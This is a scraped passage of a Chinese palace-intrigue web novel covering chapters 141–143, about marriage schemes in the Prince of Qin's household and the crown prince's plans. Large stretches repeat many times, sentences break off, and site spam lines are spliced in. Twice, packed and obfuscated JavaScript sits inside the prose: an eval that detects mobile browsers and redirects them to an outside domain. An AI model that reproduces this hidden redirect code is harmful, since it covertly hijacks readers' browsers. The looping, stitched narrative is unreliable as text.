依旧看着高贵妃欲言又止。 高贵妃看着高夫人开口。 “嫂子,思娴是本宫的儿媳妇,说起来都是一家人,嫂子今日可是为了流言的事情而来。” 见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。 “丞相夫人。” 然后看着高晚宁露出一抹笑意。 “晚宁。” 很快宫人上了茶,高夫人看了看高贵妃,又看了看顾思娴,有些欲言又止。 顾思娴先一步开口。 “夫人和晚宁也是因为外面的谣言特意进宫来安慰母妃的吗?” 这话?高夫人和高晚宁不约而同的看了对方眼,然后眼里带着诧异。 顾思娴继续开口,却先叹了一口气。 “唉,说起来也是我这个秦王妃无用,府中的一个侧室都管不好,连累了母妃,也连累了高小姐。” 说着还起身朝高晚宁福身。 “在这里,给晚宁赔罪了。” 高晚宁见状急忙避开顾思娴的礼,先不说顾家手握兵权,高晚宁身份并不比自己差,她还是秦王妃,自己受不起她的赔罪礼。 “表嫂你这折煞晚宁了,这明明就是那个沈安锦心术不正,手段下作。” “先前孩子的事情诬陷我就算了,现在又毁我名声,简直就是……………” 高夫人开口提醒。 “晚宁。” 依旧看着高贵妃欲言又止。 高贵妃看着高夫人开口。 “嫂子,思娴是本宫的儿媳妇,说起来都是一家人,嫂子今日可是为了流言的事情而来。” 见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。
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见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。 “丞相夫人。” 然后看着高晚宁露出一抹笑意。 “晚宁。” 很快宫人上了茶,高夫人看了看高贵妃,又看了看顾思娴,有些欲言又止。 顾思娴先一步开口。 “夫人和晚宁也是因为外面的谣言特意进宫来安慰母妃的吗?” 这话?高夫人和高晚宁不约而同的看了对方眼,然后眼里带着诧异。 顾思娴继续开口,却先叹了一口气。 “唉,说起来也是我这个秦王妃无用,府中的一个侧室都管不好,连累了母妃,也连累了高小姐。” 说着还起身朝高晚宁福身。 “在这里,给晚宁赔罪了。” 高晚宁见状急忙避开顾思娴的礼,先不说顾家手握兵权,高晚宁身份并不比自己差,她还是秦王妃,自己受不起她的赔罪礼。 “表嫂你这折煞晚宁了,这明明就是那个沈安锦心术不正,手段下作。” “先前孩子的事情诬陷我就算了,现在又毁我名声,简直就是……………” 高夫人开口提醒。 “晚宁。” 依旧看着高贵妃欲言又止。 高贵妃看着高夫人开口。 “嫂子,思娴是本宫的儿媳妇,说起来都是一家人,嫂子今日可是为了流言的事情而来。” 见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。 “丞相夫人。” 然后看着高晚宁露出一抹笑意。 “晚宁。” 很快宫人上了茶,高夫人看了看高贵妃,又看了看顾思娴,有些欲言又止。 顾思娴先一步开口。 “夫人和晚宁也是因为外面的谣言特意进宫来安慰母妃的吗?” 这话?高夫人和高晚宁不约而同的看了对方眼,然后眼里带着诧异。 顾思娴继续开口,却先叹了一口气。 “唉,说起来也是我这个秦王妃无用,府中的一个侧室都管不好,连累了母妃,也连累了高小姐。” 说着还起身朝高晚宁福身。 “在这里,给晚宁赔罪了。” 高晚宁见状急忙避开顾思娴的礼,先不说顾家手握兵权,高晚宁身份并不比自己差,她还是秦王妃,自己受不起她的赔罪礼。 “表嫂你这折煞晚宁了,这明明就是那个沈安锦心术不正,手段下作。” “先前孩子的事情诬陷我就算了,现在又毁我名声,简直就是……………” 高夫人开口提醒。 “晚宁。” 依旧看着高贵妃欲言又止。 高贵妃看着高夫人开口。 “嫂子,思娴是本宫的儿媳妇,说起来都是一家人,嫂子今日可是为了流言的事情而来。” 见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 第一百四十一章 让鱼儿浮出水面 此言一出,殿内气氛瞬间微妙起来。 高夫人眉头微蹙。 “秦王妃可知道自己在说什么?” 高贵妃轻轻放下茶杯,目光在顾思娴和高晚宁之间流转,自己本来就有意让晚宁进秦王府,现在顾思娴能够这么想,倒是不错。 “思娴,你这提议倒是不错。只是晚宁乃是高家嫡女,若进了秦王府,这其中的利害关系,你可都考虑清楚了?” 顾思娴微微福身,神色坚定。 “母妃,儿臣自是考虑周全。晚宁与儿臣情同姐妹,若能一同在府中,定能相互扶持。再者,有晚宁在,也能帮儿臣分担一些府中事务,将秦王府管理好,儿臣相信,以晚宁的聪慧和才情,一定会会让王爷喜欢的。” 高夫人眉头紧皱,侧妃也是妾,而且秦王现在整颗心都在沈安锦那个狐妹子的身上,晚宁若是进了秦王府,往后的日子………… 高贵妃则慢悠悠地喝了一口茶,似乎在思考着什么。 “思娴,你能够与晚宁姐妹和睦本宫这心里是很高兴,可晚宁是本宫的亲侄女,本宫到底舍不得她屈居人下啊。” 顾思娴心里一沉,高家的人还真是喜欢自以为是啊,不过没关系,自己的目的也不是当什么秦王妃。 “还是母妃考虑的周全,不如这样如何,儿臣亲自去父皇那里求一道圣旨,请父皇给晚宁和王爷赐婚,让晚宁当平妃,以正妃之礼进秦王府,以后管理府中中馈。” 居然把管家之权都交出来了?高夫人看着顾思娴眼里都带着几分不可置信,要知道,女子想在后院立足手里一定要紧握管家之权。 高贵妃更是听得眉头紧皱。 “思娴,你到底想做什么?” 顾思娴闻言温柔一笑。 “儿臣只是想替母妃分忧。” “儿臣听说太子与太子妃恩爱非常,只怕很快二人就会有孩子了,关于殿下的子嗣,母妃肯定也是着急的,晚宁进府,也好为殿下开枝散叶。” “而且母妃向来疼爱晚宁,心里肯定是担忧晚宁的婚事的,晚宁当了母妃的儿媳妇,往后一辈子都有母妃护着,也不怕被婆家欺负。” 高晚宁则看着顾思娴。 “表嫂,你这贤惠得让人惊讶。” 顾思娴缓缓开口。 “我这也是有私心的。” “晚宁,咱们的目的都是为了对付沈安锦,你进秦王府以后,我不会与你争抢王爷,也不会与你争抢管家之权,不过我刚刚跟母妃聊过,为了秦王府的 你的朋友正在书荒,快去帮帮他吧 子嗣绵延,我的庶妹也会进府,不论如何,高家得答应我,不许对我庶妹下手,毕竟她也是因为我不得王爷喜欢才进的秦王府。 这才是她真正的目的吧,果然出生大家族的女儿哪有简单的,高贵妃缓缓开口。 “进了秦王府的人都是秦王的人,都是为秦王开枝散叶的,本宫身为秦王的母妃,当然是希望秦王子嗣越来越多的好。 高夫人看着顾思娴开口。 “果然是顾夫人教出来的女儿,大度贤惠。 顾思娴笑着回应。 “高夫人过奖了。 “既然以后都是一家人了,高夫人要是不嫌弃,不如思娴喊你一声伯母。 伸手不打笑脸人,顾思娴今日实在是过于太好说,高夫人露出一抹笑意。 “如此倒是显得我们两家更为亲近了。 然后目光看向高贵妃。 “母妃,儿臣不想委屈晚宁妹妹,到底儿臣也才进秦王府没多久,对秦王府诸多事业也不够了解,晚宁妹妹和王爷的婚事,不如也请父皇下旨让礼部来操持吧,这样也是表示秦王府对晚宁妹妹的看重。 高贵妃闻言看了她一眼。 “也好,那你就连同赐婚圣旨一并求了吧。 有了顾思娴亲自求圣旨,赐婚圣旨很快就下来了,除了高晚宁赐婚以外,还将顾家庶女沈思雨赐给秦王做雨夫人,比一般的侍妾高一点的身份。 圣旨到了秦王府的时候,秦王也不好再反驳圣旨。 太子府。 商玄澈与陈先生正在下棋。 “殿下当真想好了好去巡视义仓? 商玄澈落下一子。 “不只是义仓。 “这些年在父皇的纵容下,秦王**势力逐渐扩张,秦王这些年收买朝中大臣可花费不少,这个银子哪里来的?不都是许多地方官或者朝中官员送给高家,再由高家送到秦王手中吗? “而地方官的银子哪里来的?无非就是民脂民膏,百姓是水,水可载舟亦可覆舟,若是天元贪官污吏横行,百姓生活疾苦,长此以往,积怨成深,恐怕朝堂不稳。 陈先生看了看商玄澈,缓缓落下一枚棋子。 “所以殿下的目的是借巡视义仓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241136|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由,将秦王**的贪官污吏拔除,为日后做准备。 商玄澈目光坚定,手中棋子稳稳落下,仿佛已将局势尽数掌控。 “陛下对本宫的态度先生你也知道的,与其在皇城跟陛下君臣不和,不如另劈捷径。 你的朋友正在书荒,快去帮帮他吧 随即看了一眼棋局。 “先生,这一局,本宫赢了。” 陈先生微微一怔,随即露出欣慰的笑容,他放下手中的棋子,拱手道。 “殿下棋艺日益精湛,心思更是缜密非常,此番巡视义仓之行,定能让那些贪官污吏无所遁形。” 此时苍术走进来恭敬的行礼。 “殿下,刺杀的事情都查探清楚了,去南诏路上的那批刺客与四皇子有关,书生的那场刺杀是秦王设计的,不过……………” 说着看了商玄澈一眼,眼里带着几分心疼。 商玄澈看着他询问。 “不过什么?” 苍术无奈的拱手。 “属下刚查到相关的人,人就被灭口了,而且线索也被毁了,原本指向秦王的线索指向了五皇子,动手的人应该是皇家暗卫。” 商玄澈闻言嘴角勾起一抹嘲讽的笑意,眼里却是一片冰凉,却又感觉这样的结果并不意外。 “陛下对秦王还真是疼爱啊。” “这件事不必查了。” “去查一查秦王**的外放官员有哪一些。” 苍术拱手道。 “是。” 待苍术退下。 陈先生朝商玄澈拱手。 “殿下,看来四皇子也坐不住了。” 商玄澈看着桌子上的棋局,抬手将棋局拨乱。 “既然鱼儿藏于水底,那就将水搅混,逼它浮出水面。” 陈先生听了轻摇着折扇开口道。 “既然殿下要离开皇城,那不如看看四皇子与秦王对上会是如何场景。” “在下记得四皇子的外祖父乃是吏部考公司杨大人,吏部尚书年龄也大了,不如这次春闱过后,让吏部尚书告老还乡,让杨大人顶替了这吏部尚书一职,再让我们的人与杨家结亲,多走动走动。” 人心都是贪婪的,杨家坐上吏部尚书,定然还会想要更大的权利,毕竟四皇子要想上位,还得母族给力,商玄澈沉思片刻缓缓开口。 “那就按照先生的意思安排。” 第一百四十二章 道歉 月清城。 之前那些来攻打月清城的山匪在江千屿的监督下,都在规矩的建造月清城。 而沈安昕则亲自带着月清城的兄弟们训练,因为高难度的训练,沈安昕壮了不少,整个人也黑了一些,不过身姿也矫健了起来。 带着众人围绕着月清城跑了几圈以后,大家原地休息。 慕容傅给沈安昕递了水。 “没想到沈姐姐一个女子居然有如此的毅力,不过这个训练法子倒是不错,看着像是军中的训练,沈姐姐还懂兵营训练吗?” 沈安昕疲劳的接过水囊,扬起头喝了几口,好看的天鹅颈极为明显,让慕容傅忍不住多看了两眼。 “我不懂,但是我有一个什么都懂的妹妹,我只是根据她信里所说的来训练兄弟们罢了。” 与沈安昕相处的这些日子,每次她提起自己妹妹都是一脸的自豪,慕容傅偏头看着她。 “你们姐妹这是准备训练出来一支兵?” 沈安昕微微点了点头。 “既然要成立一座城,自然是需要兵的。” 慕容傅缓缓开口。 “天涯山属于三不管地带,各国都不曾出手管制,也可以说各方势力盘根错节,你们训练这一支队伍,无疑会引来诸多目光,不怕招惹麻烦吗?” 沈安昕将水囊收好,笑了笑,看着坐在远处休息的兄弟们。 “麻烦?” “我手里有天元太子给的腰牌,我妹妹又是南诏的凰仪公主,其他小国不敢找麻烦,至于天元这边,真有人不长眼我妹妹会出手收拾的。” 说完又站起来,脸上带着一抹笑意。 “外在因素我妹妹都会处理好,我要做的就是训练好清城军,尽快强大起来,有足够的能力守护好月清城。” 说完朝前走了几步。 “休息得差不多了,准备格斗训练一个时辰。” 慕容傅跟在她的身边。 “其实你是大小姐,完全不用这么辛苦训练的,你身边的人也足够保护你。” 沈安昕回头看着他一笑。 “可我若是更强一些,就可以让我的妹妹更有底气一些,往后也不用她为我事事顾虑周全。” 自己怎么能忘记,若若将大半的暗卫都给了自己,她在天元皇城人生地不熟,身边却没有什么可用之人。 天元皇城。 秦王看着手里的赐婚圣旨。 刚娶了正妃才几个月,现在又有了平妃,还有一个雨夫人,自己这后院的 人还真不少啊。 传旨太监笑着开口。 “殿下好福气,这可是秦王妃亲自替殿下与高小姐求的赐婚圣旨,有这样贤惠的王妃,殿下一定会多子多福的,皇上还等着当皇祖父呢!” 秦王听了眼里闪过一抹惊讶,然后看着顾思娴,居然是顾思娴求的圣旨。 沈安锦看了一眼他手里的圣旨,红着眼眶,用手帕压着眼角的位置。 “殿下,看来姐姐这是责怪我近来独宠这才…………是锦儿不好,又让殿下为难了。” 随即又一脸惊恐地靠在秦王的怀里。 “殿下,这高小姐本就害锦儿的孩子,如果她真的进府,那锦儿以后可还如何活的下去。” 然后从秦王怀里出来,一下子朝顾思娴跪下。 “姐姐,你若是不满我这些日子独占了殿下,你要打要罚锦儿都认命,可你也不能让杀我孩子的凶手进府啊。” 秦王见状,只感觉自己的心口一疼,急忙弯腰将她扶起来。 “锦儿,你快起来,有本王护着你,谁也不能伤害你。” 然后目光看向顾思娴。 “顾思娴,本王还真是小看你了,原本以为你是一个守规矩的,没想到也会使这些下作手段,争风吃醋。” 顾思娴看着沈安锦此时靠在秦王怀里梨花带雨的模样,这一幕何其熟悉,家里那些争宠的姨娘不就这点手段吗? “殿下与其在这里责怪臣妾,还不如好好的管好锦侧妃,赐婚圣旨是我亲自去求的没错,可那也是贵妃娘娘的意思。” “锦侧妃当街毁了贵妃娘娘和高家的名声,导致晚宁的婚事也黄了,贵妃娘娘召臣妾进宫好一番训斥,说臣妾身为秦王妃,连一个孤女都管不好,臣妾自知无能,只好替殿下再娶一个有能力的高门贵女。” “晚宁进府的日子快了,以后想来锦侧妃也有伴儿了,这也当是毁了人家婚事的补偿。” 沈安锦紧紧的捏紧了手帕,又是孤女这个称呼,顾思娴你也该死。 “那姐姐你就敢说你没有私心吗?” “不然为什么除了高小姐,顾家的女儿也要一同进府。” 想到自己因为沈安锦被高贵妃训斥,顾思娴的神色冷了几分。 “锦侧妃,注意你跟本王妃说话的态度,你应该称呼本王妃一声王妃,本王妃的妹妹在将军府,你还不配喊这一声姐姐。” 看着顾思娴轻蔑的眼神,沈安锦委屈的哭了出来。 “殿下。” 听着沈安锦委屈 的声音,秦王看着顾思娴,眼里带着怒气。 “放肆,顾思娴,当着本王的面你都敢如此嚣张,这私下里还不知道你会如何为难锦儿呢?你马上给锦儿道歉。” 顾思娴眉头一皱,这秦王莫不是脑子进水了。 “道歉?” “殿下,我乃是正妃,你让我给一个妾室道歉?” “谁会哭谁就有理了不成?” “我对殿下你所谓的争风吃醋没兴趣,往后殿下管好你的人,不要给我招惹麻烦。” “沈安锦下次要是再给我招惹麻烦,我就不止做出求赐婚这种事情了。” 沈安锦指甲都陷入了手心里,为什么这些所谓的嫡女一个二个都这么嚣张?沈安若是,顾思娴也是。 “姐姐,你是殿下的妻子,殿下就是你的天,你怎么能够这样跟殿下说话呢?自从锦儿进府以后,就察觉到姐姐你对殿下一直都是冷冷冰冰,锦儿听说姐姐你与太子原本是要成亲的,只是因为…………难不成姐姐你还惦记着太子殿下,这可是对我们殿下不忠啊。” 沈安锦这话一出,秦王脸色一下子就黑了下来,直接朝顾思娴走了两步,抓住顾思娴的手臂。 “给锦儿道歉。” 似乎要故意以此来折辱顾思娴。 顾思娴看着秦王一脸的怒意,咬了咬开口。 “好,我道歉。” “王爷你先放手。” 待秦王放开。 顾思娴这才朝沈安锦走去。 沈安锦眼里闪过一抹得意。 嫡女又如何,还不算斗不过自己。 顾思娴抬手一巴掌打在她的脸上。 “啪………………” 的声音,秦王看着顾思娴,眼里带着怒气。 “放肆,顾思娴,当着本王的面你都敢如此嚣张,这私下里还不知道你会如何为难锦儿呢?你马上给锦儿道歉。” 顾思娴眉头一皱,这秦王莫不是脑子进水了。 “道歉?” “殿下,我乃是正妃,你让我给一个妾室道歉?” “谁会哭谁就有理了不成?” “我对殿下你所谓的争风吃醋没兴趣,往后殿下管好你的人,不要给我招惹麻烦。” “沈安锦下次要是再给我招惹麻烦,我就不止做出求赐婚这种事情了。” 沈安锦指甲都陷入了手心里,为什么这些所谓的嫡女一个二个都这么嚣张?沈安若是,顾思娴也是。 “姐姐,你是殿下的妻子,殿下就是你的天,你怎么能够这样跟殿下说话呢?自从锦儿进府以后,就察觉到姐姐你对殿下一直都是冷冷冰冰,锦儿听说姐姐你与太子原本是要成亲的,只是因为…………难不成姐姐你还惦记着太子殿下,这可是对我们殿下不忠啊。” 沈安锦这话一出,秦王脸色一下子就黑了下来,直接朝顾思娴走了两步,抓住顾思娴的手臂。 “给锦儿道歉。” 似乎要故意以此来折辱顾思娴。 顾思娴看着秦王一脸的怒意,咬了咬开口。 “好,我道歉。” “王爷你先放手。” 待秦王放开。 顾思娴这才朝沈安锦走去。 沈安锦眼里闪过一抹得意。 嫡女又如何,还不算斗不过自己。 顾思娴抬手一巴掌打在她的脸上。 “啪………………” 的声音,秦王看着顾思娴,眼里带着怒气。 “放肆,顾思娴,当着本王的面你都敢如此嚣张,这私下里还不知道你会如何为难锦儿呢?你马上给锦儿道歉。” 顾思娴眉头一皱,这秦王莫不是脑子进水了。 “道歉?” “殿下,我乃是正妃,你让我给一个妾室道歉?” “谁会哭谁就有理了不成?” “我对殿下你所谓的争风吃醋没兴趣,往后殿下管好你的人,不要给我招惹麻烦。” “沈安锦下次要是再给我招惹麻烦,我就不止做出求赐婚这种事情了。” 沈安锦指甲都陷入了手心里,为什么这些所谓的嫡女一个二个都这么嚣张?沈安若是,顾思娴也是。 “姐姐,你是殿下的妻子,殿下就是你的天,你怎么能够这样跟殿下说话呢?自从锦儿进府以后,就察觉到姐姐你对殿下一直都是冷冷冰冰,锦儿听说姐姐你与太子原本是要成亲的,只是因为…………难不成姐姐你还惦记着太子殿下,这可是对我们殿下不忠啊。” 沈安锦这话一出,秦王脸色一下子就黑了下来,直接朝顾思娴走了两步,抓住顾思娴的手臂。 “给锦儿道歉。” 似乎要故意以此来折辱顾思娴。 顾思娴看着秦王一脸的怒意,咬了咬开口。 “好,我道歉。” “王爷你先放手。” 待秦王放开。 顾思娴这才朝沈安锦走去。 沈安锦眼里闪过一抹得意。 嫡女又如何,还不算斗不过自己。 顾思娴抬手一巴掌打在她的脸上。 “啪………………” 的声音,秦王看着顾思娴,眼里带着怒气。 “放肆,顾思娴,当着本王的面你都敢如此嚣张,这私下里还不知道你会如何为难锦儿呢?你马上给锦儿道歉。” 顾思娴眉头一皱,这秦王莫不是脑子进水了。 “道歉?” “殿下,我乃是正妃,你让我给一个妾室道歉?” “谁会哭谁就有理了不成?” “我对殿下你所谓的争风吃醋没兴趣,往后殿下管好你的人,不要给我招惹麻烦。” “沈安锦下次要是再给我招惹麻烦,我就不止做出求赐婚这种事情了。” 沈安锦指甲都陷入了手心里,为什么这些所谓的嫡女一个二个都这么嚣张?沈安若是,顾思娴也是。 “姐姐,你是殿下的妻子,殿下就是你的天,你怎么能够这样跟殿下说话呢?自从锦儿进府以后,就察觉到姐姐你对殿下一直都是冷冷冰冰,锦儿听说姐姐你与太子原本是要成亲的,只是因为…………难不成姐姐你还惦记着太子殿下,这可是对我们殿下不忠啊。” 沈安锦这话一出,秦王脸色一下子就黑了下来,直接朝顾思娴走了两步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“放肆,顾思娴,当着本王的面你都敢如此嚣张,这私下里还不知道你会如何为难锦儿呢?你马上给锦儿道歉。” 顾思娴眉头一皱,这秦王莫不是脑子进水了。 “道歉?” “殿下,我乃是正妃,你让我给一个妾室道歉?” “谁会哭谁就有理了不成?” “我对殿下你所谓的争风吃醋没兴趣,往后殿下管好你的人,不要给我招惹麻烦。” “沈安锦下次要是再给我招惹麻烦,我就不止做出求赐婚这种事情了。” 沈安锦指甲都陷入了手心里,为什么这些所谓的嫡女一个二个都这么嚣张?沈安若是,顾思娴也是。 “姐姐,你是殿下的妻子,殿下就是你的天,你怎么能够这样跟殿下说话呢?自从锦儿进府以后,就察觉到姐姐你对殿下一直都是冷冷冰冰,锦儿听说姐姐你与太子原本是要成亲的,只是因为…………难不成姐姐你还惦记着太子殿下,这可是对我们殿下不忠啊。” 沈安锦这话一出,秦王脸色一下子就黑了下来,直接朝顾思娴走了两步,抓住顾思娴的手臂。 “给锦儿道歉。” 似乎要故意以此来折辱顾思娴。 顾思娴看着秦王一脸的怒意,咬了咬开口。 “好,我道歉。” “王爷你先放手。” 待秦王放开。 顾思娴这才朝沈安锦走去。 沈安锦眼里闪过一抹得意。 嫡女又如何,还不算斗不过自己。 顾思娴抬手一巴掌打在她的脸上。 “啪………………” 的声音,秦王看着顾思娴,眼里带着怒气。 “放肆,顾思娴,当着本王的面你都敢如此嚣张,这私下里还不知道你会如何为难锦儿呢?你马上给锦儿道歉。” 顾思娴眉头一皱,这秦王莫不是脑子进水了。 “道歉?” “殿下,我乃是正妃,你让我给一个妾室道歉?” “谁会哭谁就有理了不成?” “我对殿下你所谓的争风吃醋没兴趣,往后殿下管好你的人,不要给我招惹麻烦。” “沈安锦下次要是再给我招惹麻烦,我就不止做出求赐婚这种事情了。” 沈安锦指甲都陷入了手心里,为什么这些所谓的嫡女一个二个都这么嚣张?沈安若是,顾思娴也是。 “姐姐,你是殿下的妻子,殿下就是你的天,你怎么能够这样跟殿下说话呢?自从锦儿进府以后,就察觉到姐姐你对殿下一直都是冷冷冰冰,锦儿听说姐姐你与太子原本是要成亲的,只是因为…………难不成姐姐你还惦记着太子殿下,这可是对我们殿下不忠啊。” 沈安锦这话一出,秦王脸色一下子就黑了下来,直接朝顾思娴走了两步,抓住顾思娴的手臂。 “给锦儿道歉。” 似乎要故意以此来折辱顾思娴。 顾思娴看着秦王一脸的怒意,咬了咬开口。 “好,我道歉。” “王爷你先放手。” 待秦王放开。 顾思娴这才朝沈安锦走去。 沈安锦眼里闪过一抹得意。 嫡女又如何,还不算斗不过自己。 顾思娴抬手一巴掌打在她的脸上。 “啪………………” 第一百四十三章 你应该喊我一声长姐 清脆的巴掌声在院子里回荡,沈安锦的脸上瞬间浮现出清晰的巴掌印。 沈安锦瞪大了眼睛,难以置信地看着顾思娴,泪水在眼眶里打转,却因这突如其来的一巴掌而忘了落下。 